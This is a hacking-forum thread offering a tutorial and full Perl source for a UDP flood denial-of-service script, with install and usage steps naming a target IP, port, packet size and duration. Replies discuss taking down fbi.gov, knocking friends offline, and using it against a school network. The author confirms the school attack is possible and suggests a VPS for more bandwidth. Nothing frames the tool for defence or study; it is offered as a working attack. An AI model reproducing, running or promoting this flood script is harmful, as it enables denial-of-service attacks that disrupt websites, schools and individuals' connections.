Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT] UDP Flood Attack [Linux]

UDP Flood Perl Script (Linux)

Author | Anonymous.7654

Start

1.Terminal > type "sudo apt-get install perl"
2.Copy script, paste it into Text Editor, and save it with a .pl file extension (for example, udp.pl)
3.Copy file, paste it into Home Folder
4.Terminal > type "sudo chmod +x ./udp.pl"

Script Code

#!/usr/bin/perl

##############
# udp flood.
##############

use Socket;
use strict;

if ($#ARGV != 3) {
print "flood.pl <ip> <port> <size> <time>\n\n";
print " port=0: use random ports\n";
print " size=0: use random size between 64 and 1024\n";
print " time=0: continuous flood\n";
exit(1);
}

my ($ip,$port,$size,$time) = @ARGV;

my ($iaddr,$endtime,$psize,$pport);

$iaddr = inet_aton("$ip") or die "Cannot resolve hostname $ip\n";
$endtime = time() + ($time ? $time : 1000000);

socket(flood, PF_INET, SOCK_DGRAM, 17);


print "Flooding $ip " . ($port ? $port : "random") . " port with " .
($size ? "$size-byte" : "random size") . " packets" .
($time ? " for $time seconds" : "") . "\n";
print "Break with Ctrl-C\n" unless $time;

for (;time() <= $endtime;) {
$psize = $size ? $size : int(rand(1024-64)+64) ;
$pport = $port ? $port : int(rand(65500))+1;

send(flood, pack("a$psize","flood"), 0, pack_sockaddr_in($pport, $iaddr));}


How to use script?

Terminal > type "./udp.pl 127.0.0.1 80 65500 120"

127.0.0.1 = IP you want to attack , 80 = Port , 65500 = Packet Size , 120 = Attack Time

If you want good effect,you need have good Internet Uploud Speed,Good luck

Anonymous.7654
Is this what lulz sec used? Can I take down websites like fbi.gov and hackforums with it like they did?
i tought the max packet size was 1024
(Jul 8, 2011 10:27 AM)Amzo Wrote:  Is this what lulz sec used? Can I take down websites like fbi.gov and hackforums with it like they did?

I believe that you will need about 2-5 computers to get this to wipe out larger servers.

Thanks for it!

Inventor1

(Jul 8, 2011 10:37 AM)KevinsL Wrote:  i tought the max packet size was 1024

Probably wouldn't matter. Most services restrict the upd packet size to around 570 bytes. but that is the ipv4 + udp around 40 or so bytes, the rest will probably be a payload to beef up the udp packet. Like so:

PHP Code

<?php 
0xffff 
- (sizeof(IP Header) + sizeof(UDP Header)) = 65535-(20+8) = 65507 

But, depending on the machine, port, service etc, it's possible it willg et dropped.
Thanks guys for the replies.
I try "1.Terminal > type "sudo apt-get install perl"" but it says apt-get not found.
(Jul 8, 2011 01:15 PM)Gent Wrote:  I try "1.Terminal > type "sudo apt-get install perl"" but it says apt-get not found.

Go to terminal and write "sudo apt-get install perl"

Dont use ""
I did that. Still says apt-get not found. :S

joom@linux~% sudo apt-get install perl
joom@linux~% zsh can not find operation apt-get
Nice, this can also be uploaded to a a large server to be able to take down other websites.
[Image: EmoUU8L.gif]
(Jul 8, 2011 02:12 PM)KaptaiN Wrote:  Nice, this can also be uploaded to a a large server to be able to take down other websites.

Yes this script very strong,but need good internet speed,my speed very good so i can disconnect my all friends internets.
(Jul 8, 2011 02:02 PM)Gent Wrote:  I did that. Still says apt-get not found. :S

joom@linux~% sudo apt-get install perl
joom@linux~% zsh can not find operation apt-get

What Distribution you use? I use Ubuntu so i use apt-get install,maybe other Linux need use other command,i dont know.But Ubuntu and Mint this script works.
(Jul 8, 2011 02:29 PM)Anonymous.7654 Wrote:  Yes this script very strong,but need good internet speed,my speed very good so i can disconnect my all friends internets.

What Distribution you use? I use Ubuntu so i use apt-get install,maybe other Linux need use other command,i dont know.But Ubuntu and Mint this script works.

He's having some problems with apt-get (dunno what it could be tbh). Tested on my home connection... and I heard my broher say "connection lost!" (rune scape). Works, haha.

Will this comply with http_proxy environment variable? So when I do: "export http_proxy http://127.0.0.1/", will it use the proxy (I'm not sure if you have to program it to use the http_proxy variable, or everything in the terminal uses the variable).
(Jul 8, 2011 03:05 PM)Draucia Wrote:  He's having some problems with apt-get (dunno what it could be tbh). Tested on my home connection... and I heard my broher say "connection lost!" (rune scape). Works, haha.

Will this comply with http_proxy environment variable? So when I do: "export http_proxy http://127.0.0.1/", will it use the proxy (I'm not sure if you have to program it to use the http_proxy variable, or everything in the terminal uses the variable).

Haha nice,what distribution you use?
Can I hack my school's network with this?
Yes you can DoS School Computers,if you have good interned speed,if you dont have you can use VPS.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Teenage AnarchistSep 17, 2015 06:11 PM 103 9,321 Sep 17, 2015 06:11 PM
Last Post: ΞMINƎM
by DistroJun 29, 2015 08:29 AM 3 183 Jun 29, 2015 08:29 AM
Last Post: Betty Blue
[Ubuntu] by JudeccaMay 16, 2015 07:51 PM 8 329 May 16, 2015 07:51 PM
Last Post: Judecca